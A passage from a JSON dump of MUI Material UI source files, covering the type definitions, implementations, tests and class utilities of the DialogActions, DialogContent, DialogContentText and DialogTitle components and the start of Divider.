    "content": "export { default } from './Dialog';\nexport * from './Dialog';\n\nexport { default as dialogClasses } from './dialogClasses';\nexport * from './dialogClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Dialog/index.js",
    "content": "export { default } from './Dialog';\n\nexport { default as dialogClasses } from './dialogClasses';\nexport * from './dialogClasses';\n"
  },
  {
    "path": "packages/mui-material/src/DialogActions/DialogActions.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { DialogActionsClasses } from './dialogActionsClasses';\n\nexport interface DialogActionsProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<DialogActionsClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * If `true`, the actions do not have additional margin.\n   * @default false\n   */\n  disableSpacing?: boolean | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Dialog](https://next.mui.com/material-ui/react-dialog/)\n *\n * API:\n *\n * - [DialogActions API](https://next.mui.com/material-ui/api/dialog-actions/)\n */\nexport default function DialogActions(props: DialogActionsProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/DialogActions/DialogActions.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getDialogActionsUtilityClass } from './dialogActionsClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disableSpacing } = ownerState;\n\n  const slots = {\n    root: ['root', !disableSpacing && 'spacing'],\n  };\n\n  return composeClasses(slots, getDialogActionsUtilityClass, classes);\n};\n\nconst DialogActionsRoot = styled('div', {\n  name: 'MuiDialogActions',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, !ownerState.disableSpacing && styles.spacing];\n  },\n})({\n  display: 'flex',\n  alignItems: 'center',\n  padding: 8,\n  justifyContent: 'flex-end',\n  flex: '0 0 auto',\n  variants: [\n    {\n      props: ({ ownerState }) => !ownerState.disableSpacing,\n      style: {\n        '& > :not(style) ~ :not(style)': {\n          marginLeft: 8,\n        },\n      },\n    },\n  ],\n});\n\nconst DialogActions = React.forwardRef(function DialogActions(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiDialogActions',\n  });\n\n  const { className, disableSpacing = false, ...other } = props;\n  const ownerState = { ...props, disableSpacing };\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <DialogActionsRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nDialogActions.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the actions do not have additional margin.\n   * @default false\n   */\n  disableSpacing: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default DialogActions;\n"
  },
  {
    "path": "packages/mui-material/src/DialogActions/DialogActions.test.js",
    "content": "import { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport DialogActions, { dialogActionsClasses as classes } from '@mui/material/DialogActions';\nimport Button from '@mui/material/Button';\nimport { expect } from 'chai';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<DialogActions />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<DialogActions />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiDialogActions',\n    testVariantProps: { disableSpacing: true },\n    skip: ['componentProp'],\n  }));\n\n  it.skipIf(isJsdom())('should apply margin to all children but the first one', function test() {\n    const { container } = render(\n      <DialogActions>\n        <Button data-testid=\"child-1\">Agree</Button>\n        <Button data-testid=\"child-2\" href=\"#\">\n          Agree\n        </Button>\n        <Button data-testid=\"child-3\" component=\"span\">\n          Agree\n        </Button>\n        <div data-testid=\"child-4\" />\n      </DialogActions>,\n    );\n\n    const children = container.querySelectorAll('[data-testid^=\"child-\"]');\n    expect(children[0]).toHaveComputedStyle({ marginLeft: '0px' });\n    expect(children[1]).toHaveComputedStyle({ marginLeft: '8px' });\n    expect(children[2]).toHaveComputedStyle({ marginLeft: '8px' });\n    expect(children[3]).toHaveComputedStyle({ marginLeft: '8px' });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/DialogActions/dialogActionsClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface DialogActionsClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element unless `disableSpacing={true}`. */\n  spacing: string;\n}\n\nexport type DialogActionsClassKey = keyof DialogActionsClasses;\n\nexport function getDialogActionsUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiDialogActions', slot);\n}\n\nconst dialogActionsClasses: DialogActionsClasses = generateUtilityClasses('MuiDialogActions', [\n  'root',\n  'spacing',\n]);\n\nexport default dialogActionsClasses;\n"
  },
  {
    "path": "packages/mui-material/src/DialogActions/index.d.ts",
    "content": "export { default } from './DialogActions';\nexport * from './DialogActions';\n\nexport { default as dialogActionsClasses } from './dialogActionsClasses';\nexport * from './dialogActionsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/DialogActions/index.js",
    "content": "export { default } from './DialogActions';\n\nexport { default as dialogActionsClasses } from './dialogActionsClasses';\nexport * from './dialogActionsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/DialogContent/DialogContent.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { DialogContentClasses } from './dialogContentClasses';\n\nexport interface DialogContentProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<DialogContentClasses> | undefined;\n  /**\n   * Display the top and bottom dividers.\n   * @default false\n   */\n  dividers?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Dialog](https://next.mui.com/material-ui/react-dialog/)\n *\n * API:\n *\n * - [DialogContent API](https://next.mui.com/material-ui/api/dialog-content/)\n */\nexport default function DialogContent(props: DialogContentProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/DialogContent/DialogContent.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getDialogContentUtilityClass } from './dialogContentClasses';\nimport dialogTitleClasses from '../DialogTitle/dialogTitleClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, dividers } = ownerState;\n\n  const slots = {\n    root: ['root', dividers && 'dividers'],\n  };\n\n  return composeClasses(slots, getDialogContentUtilityClass, classes);\n};\n\nconst DialogContentRoot = styled('div', {\n  name: 'MuiDialogContent',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.dividers && styles.dividers];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    flex: '1 1 auto',\n    // Add iOS momentum scrolling for iOS < 13.0\n    WebkitOverflowScrolling: 'touch',\n    overflowY: 'auto',\n    padding: '20px 24px',\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.dividers,\n        style: {\n          padding: '16px 24px',\n          borderTop: `1px solid ${(theme.vars || theme).palette.divider}`,\n          borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.dividers,\n        style: {\n          [`.${dialogTitleClasses.root} + &`]: {\n            paddingTop: 0,\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst DialogContent = React.forwardRef(function DialogContent(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiDialogContent',\n  });\n\n  const { className, dividers = false, ...other } = props;\n  const ownerState = { ...props, dividers };\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <DialogContentRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nDialogContent.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Display the top and bottom dividers.\n   * @default false\n   */\n  dividers: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default DialogContent;\n"
  },
  {
    "path": "packages/mui-material/src/DialogContent/DialogContent.test.js",
    "content": "import { createRenderer, screen } from '@mui/internal-test-utils';\nimport DialogContent, { dialogContentClasses as classes } from '@mui/material/DialogContent';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<DialogContent />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<DialogContent />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiDialogContent',\n    refInstanceof: window.HTMLDivElement,\n    testVariantProps: { dividers: true },\n    skip: ['componentProp'],\n  }));\n\n  it('should render children', () => {\n    const children = <p data-testid=\"test-children\" />;\n    render(<DialogContent>{children}</DialogContent>);\n\n    screen.getByTestId('test-children');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/DialogContent/dialogContentClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface DialogContentClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `dividers={true}`. */\n  dividers: string;\n}\n\nexport type DialogContentClassKey = keyof DialogContentClasses;\n\nexport function getDialogContentUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiDialogContent', slot);\n}\n\nconst dialogContentClasses: DialogContentClasses = generateUtilityClasses('MuiDialogContent', [\n  'root',\n  'dividers',\n]);\n\nexport default dialogContentClasses;\n"
  },
  {
    "path": "packages/mui-material/src/DialogContent/index.d.ts",
    "content": "export { default } from './DialogContent';\nexport * from './DialogContent';\n\nexport { default as dialogContentClasses } from './dialogContentClasses';\nexport * from './dialogContentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/DialogContent/index.js",
    "content": "export { default } from './DialogContent';\n\nexport { default as dialogContentClasses } from './dialogContentClasses';\nexport * from './dialogContentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/DialogContentText/DialogContentText.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { TypographyTypeMap } from '../Typography';\nimport { OverrideProps, OverridableComponent } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { DialogContentTextClasses } from './dialogContentTextClasses';\n\nexport interface DialogContentTextOwnProps extends Omit<TypographyTypeMap['props'], 'classes'> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<DialogContentTextClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface DialogContentTextTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = TypographyTypeMap['defaultComponent'],\n> {\n  props: AdditionalProps & DialogContentTextOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Dialog](https://next.mui.com/material-ui/react-dialog/)\n *\n * API:\n *\n * - [DialogContentText API](https://next.mui.com/material-ui/api/dialog-content-text/)\n * - inherits [Typography API](https://next.mui.com/material-ui/api/typography/)\n */\ndeclare const DialogContentText: OverridableComponent<DialogContentTextTypeMap>;\n\nexport type DialogContentTextProps<\n  RootComponent extends React.ElementType = DialogContentTextTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<DialogContentTextTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default DialogContentText;\n"
  },
  {
    "path": "packages/mui-material/src/DialogContentText/DialogContentText.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Typography from '../Typography';\nimport { getDialogContentTextUtilityClass } from './dialogContentTextClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  const composedClasses = composeClasses(slots, getDialogContentTextUtilityClass, classes);\n\n  return {\n    ...classes, // forward classes to the Typography\n    ...composedClasses,\n  };\n};\n\nconst DialogContentTextRoot = styled(Typography, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiDialogContentText',\n  slot: 'Root',\n})({});\n\nconst DialogContentText = React.forwardRef(function DialogContentText(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiDialogContentText' });\n  const { children, className, ...ownerState } = props;\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <DialogContentTextRoot\n      component=\"p\"\n      variant=\"body1\"\n      color=\"textSecondary\"\n      ref={ref}\n      ownerState={ownerState}\n      className={clsx(classes.root, className)}\n      {...props}\n      classes={classes}\n    />\n  );\n});\n\nDialogContentText.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default DialogContentText;\n"
  },
  {
    "path": "packages/mui-material/src/DialogContentText/DialogContentText.spec.tsx",
    "content": "import * as React from 'react';\nimport { DialogContentText } from '@mui/material';\n\nconst dialogContentTextTest = () => {\n  const CustomComponent: React.FC<{ prop1: string; prop2: number }> = function CustomComponent() {\n    return <div />;\n  };\n  return (\n    <div>\n      <DialogContentText />\n      <DialogContentText classes={{ root: 'rootClass' }} />\n      {/* @ts-expect-error */}\n      <DialogContentText classes={{ body1: 'body1Class' }} />\n      <DialogContentText align=\"inherit\" sx={{ color: 'inherit' }} />\n      <DialogContentText align=\"left\" sx={{ color: 'initial' }} />\n      <DialogContentText align=\"right\" color=\"primary\" sx={{ display: 'initial' }} />\n      <DialogContentText align=\"justify\" color=\"secondary\" sx={{ display: 'initial' }} />\n      <DialogContentText align=\"inherit\" sx={{ color: 'text.primary' }} />\n      <DialogContentText align=\"inherit\" color=\"textSecondary\" />\n      <DialogContentText align=\"inherit\" color=\"error\" />\n      <DialogContentText sx={{ display: 'block' }} />\n      <DialogContentText component=\"a\" href=\"url\" sx={{ display: 'block' }} />\n      <DialogContentText component=\"label\" htmlFor=\"html\" sx={{ display: 'block' }} />\n      {/* @ts-expect-error */}\n      <DialogContentText component=\"a\" incorrectAttribute=\"url\" />\n      {/* @ts-expect-error */}\n      <DialogContentText component=\"incorrectComponent\" href=\"url\" />\n      {/* @ts-expect-error */}\n      <DialogContentText component=\"div\" href=\"url\" />\n      {/* @ts-expect-error */}\n      <DialogContentText href=\"url\" />\n      <DialogContentText component={CustomComponent} prop1=\"1\" prop2={12} />\n      {/* @ts-expect-error */}\n      <DialogContentText component={CustomComponent} prop1=\"1\" prop2={12} id=\"1\" />\n      {/* @ts-expect-error */}\n      <DialogContentText component={CustomComponent} prop1=\"1\" />\n      {/* @ts-expect-error */}\n      <DialogContentText component={CustomComponent} prop1=\"1\" prop2=\"12\" />\n    </div>\n  );\n};\n"
  },
  {
    "path": "packages/mui-material/src/DialogContentText/DialogContentText.test.js",
    "content": "import { createRenderer, screen } from '@mui/internal-test-utils';\nimport Typography from '@mui/material/Typography';\nimport DialogContentText, {\n  dialogContentTextClasses as classes,\n} from '@mui/material/DialogContentText';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<DialogContentText />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<DialogContentText>foo</DialogContentText>, () => ({\n    classes,\n    inheritComponent: Typography,\n    render,\n    muiName: 'MuiDialogContentText',\n    refInstanceof: window.HTMLParagraphElement,\n    skip: ['themeVariants'],\n  }));\n\n  describe('prop: children', () => {\n    it('should render children', () => {\n      const children = <span data-testid=\"test-children\" />;\n      render(<DialogContentText>{children}</DialogContentText>);\n\n      screen.getByTestId('test-children');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/DialogContentText/dialogContentTextClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface DialogContentTextClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type DialogContentTextClassKey = keyof DialogContentTextClasses;\n\nexport function getDialogContentTextUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiDialogContentText', slot);\n}\n\nconst dialogContentTextClasses: DialogContentTextClasses = generateUtilityClasses(\n  'MuiDialogContentText',\n  ['root'],\n);\n\nexport default dialogContentTextClasses;\n"
  },
  {
    "path": "packages/mui-material/src/DialogContentText/index.d.ts",
    "content": "export { default } from './DialogContentText';\nexport * from './DialogContentText';\n\nexport { default as dialogContentTextClasses } from './dialogContentTextClasses';\nexport * from './dialogContentTextClasses';\n"
  },
  {
    "path": "packages/mui-material/src/DialogContentText/index.js",
    "content": "export { default } from './DialogContentText';\n\nexport { default as dialogContentTextClasses } from './dialogContentTextClasses';\nexport * from './dialogContentTextClasses';\n"
  },
  {
    "path": "packages/mui-material/src/DialogTitle/DialogTitle.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { TypographyTypeMap } from '../Typography';\nimport { DialogTitleClasses } from './dialogTitleClasses';\n\nexport interface DialogTitleOwnProps extends Omit<TypographyTypeMap['props'], 'classes'> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<DialogTitleClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface DialogTitleTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = TypographyTypeMap['defaultComponent'],\n> {\n  props: AdditionalProps & DialogTitleOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Dialog](https://next.mui.com/material-ui/react-dialog/)\n *\n * API:\n *\n * - [DialogTitle API](https://next.mui.com/material-ui/api/dialog-title/)\n * - inherits [Typography API](https://next.mui.com/material-ui/api/typography/)\n */\ndeclare const DialogTitle: OverridableComponent<DialogTitleTypeMap>;\n\nexport type DialogTitleProps<\n  RootComponent extends React.ElementType = DialogTitleTypeMap['defaultComponent'],\n  AdditionalProps = { component?: React.ElementType | undefined },\n> = OverrideProps<DialogTitleTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default DialogTitle;\n"
  },
  {
    "path": "packages/mui-material/src/DialogTitle/DialogTitle.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Typography from '../Typography';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getDialogTitleUtilityClass } from './dialogTitleClasses';\nimport DialogContext from '../Dialog/DialogContext';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getDialogTitleUtilityClass, classes);\n};\n\nconst DialogTitleRoot = styled(Typography, {\n  name: 'MuiDialogTitle',\n  slot: 'Root',\n})({\n  padding: '16px 24px',\n  flex: '0 0 auto',\n});\n\nconst DialogTitle = React.forwardRef(function DialogTitle(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiDialogTitle',\n  });\n\n  const { className, id: idProp, ...other } = props;\n  const ownerState = props;\n  const classes = useUtilityClasses(ownerState);\n\n  const { titleId = idProp } = React.useContext(DialogContext);\n\n  return (\n    <DialogTitleRoot\n      component=\"h2\"\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      variant=\"h6\"\n      id={idProp ?? titleId}\n      {...other}\n    />\n  );\n});\n\nDialogTitle.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * @ignore\n   */\n  id: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default DialogTitle;\n"
  },
  {
    "path": "packages/mui-material/src/DialogTitle/DialogTitle.spec.tsx",
    "content": "import { DialogTitle } from '@mui/material';\n\nfunction DialogTitleTest() {\n  <DialogTitle component=\"h4\" />;\n  <DialogTitle component=\"button\" />;\n  <DialogTitle component=\"p\" />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/DialogTitle/DialogTitle.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Typography from '@mui/material/Typography';\nimport DialogTitle, { dialogTitleClasses as classes } from '@mui/material/DialogTitle';\nimport Dialog from '@mui/material/Dialog';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<DialogTitle />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<DialogTitle>foo</DialogTitle>, () => ({\n    classes,\n    inheritComponent: Typography,\n    render,\n    muiName: 'MuiDialogTitle',\n    refInstanceof: window.HTMLHeadingElement,\n    testVariantProps: { 'data-color': 'red' },\n  }));\n\n  it('should render JSX children', () => {\n    const children = <span data-testid=\"test-children\" />;\n    render(<DialogTitle>{children}</DialogTitle>);\n\n    screen.getByTestId('test-children');\n  });\n\n  it('should render string children as given string', () => {\n    const children = 'Hello';\n    render(<DialogTitle>{children}</DialogTitle>);\n\n    screen.getByText('Hello');\n  });\n\n  it('should render the title as an h2 by default', () => {\n    render(<DialogTitle>foo</DialogTitle>);\n\n    const title = screen.getByRole('heading', { name: 'foo', level: 2 });\n    expect(title.tagName).to.equal('H2');\n  });\n\n  describe('prop: id', () => {\n    it('should apply the id attribute provided to the Dialog title', () => {\n      render(\n        <Dialog open>\n          <DialogTitle id=\"custom-id\">title test</DialogTitle>\n        </Dialog>,\n      );\n\n      expect(screen.getByText('title test')).to.have.attribute('id', 'custom-id');\n    });\n\n    it('should fallback to the aria-labelledby from the Dialog', () => {\n      render(\n        <Dialog open aria-labelledby=\"custom-id\">\n          <DialogTitle>title test</DialogTitle>\n        </Dialog>,\n      );\n\n      expect(screen.getByText('title test')).to.have.attribute('id', 'custom-id');\n    });\n\n    it('should apply the id attribute explicitly provided to the DialogTitle and not take from Dialog', () => {\n      render(\n        <Dialog open aria-labelledby=\"custom-id-1\">\n          <DialogTitle id=\"custom-id-2\">title test</DialogTitle>\n        </Dialog>,\n      );\n\n      expect(screen.getByText('title test')).to.have.attribute('id', 'custom-id-2');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/DialogTitle/dialogTitleClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface DialogTitleClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type DialogTitleClassKey = keyof DialogTitleClasses;\n\nexport function getDialogTitleUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiDialogTitle', slot);\n}\n\nconst dialogTitleClasses: DialogTitleClasses = generateUtilityClasses('MuiDialogTitle', ['root']);\n\nexport default dialogTitleClasses;\n"
  },
  {
    "path": "packages/mui-material/src/DialogTitle/index.d.ts",
    "content": "export { default } from './DialogTitle';\nexport * from './DialogTitle';\n\nexport { default as dialogTitleClasses } from './dialogTitleClasses';\nexport * from './dialogTitleClasses';\n"
  },
  {
    "path": "packages/mui-material/src/DialogTitle/index.js",
    "content": "export { default } from './DialogTitle';\n\nexport { default as dialogTitleClasses } from './dialogTitleClasses';\nexport * from './dialogTitleClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Divider/Divider.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { DividerClasses } from './dividerClasses';\n\nexport interface DividerPropsVariantOverrides {}\n\nexport interface DividerOwnProps {\n  /**\n   * Absolutely position the element.\n   * @default false\n   */\n  absolute?: boolean | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<DividerClasses> | undefined;\n  /**\n   * If `true`, a vertical divider will have the correct height when used in flex container.\n   * (By default, a vertical divider will have a calculated height of `0px` if it is the child of a flex container.)\n   * @default false\n   */\n  flexItem?: boolean | undefined;\n  /**\n   * The component orientation.\n   * @default 'horizontal'\n   */\n  orientation?: 'horizontal' | 'vertical' | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The text alignment.\n   * @default 'center'\n   */\n  textAlign?: 'center' | 'right' | 'left' | undefined;\n  /**\n   * The variant to use.\n   * @default 'fullWidth'\n   */\n  variant?:\n    | OverridableStringUnion<'fullWidth' | 'inset' | 'middle', DividerPropsVariantOverrides>\n    | undefined;\n}\n\nexport interface DividerTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'hr',\n> {\n  props: AdditionalProps & DividerOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Divider](https://next.mui.com/material-ui/react-divider/)\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n *\n * API:\n *\n * - [Divider API](https://next.mui.com/material-ui/api/divider/)\n */\ndeclare const Divider: OverridableComponent<DividerTypeMap>;\n\nexport type DividerProps<\n  RootComponent extends React.ElementType = DividerTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<DividerTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Divider;\n"
  },
  {
    "path": "packages/mui-material/src/Divider/Divider.js",
